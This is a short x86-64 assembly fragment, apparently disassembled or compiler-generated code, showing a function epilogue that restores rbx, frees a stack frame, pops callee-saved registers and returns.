mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret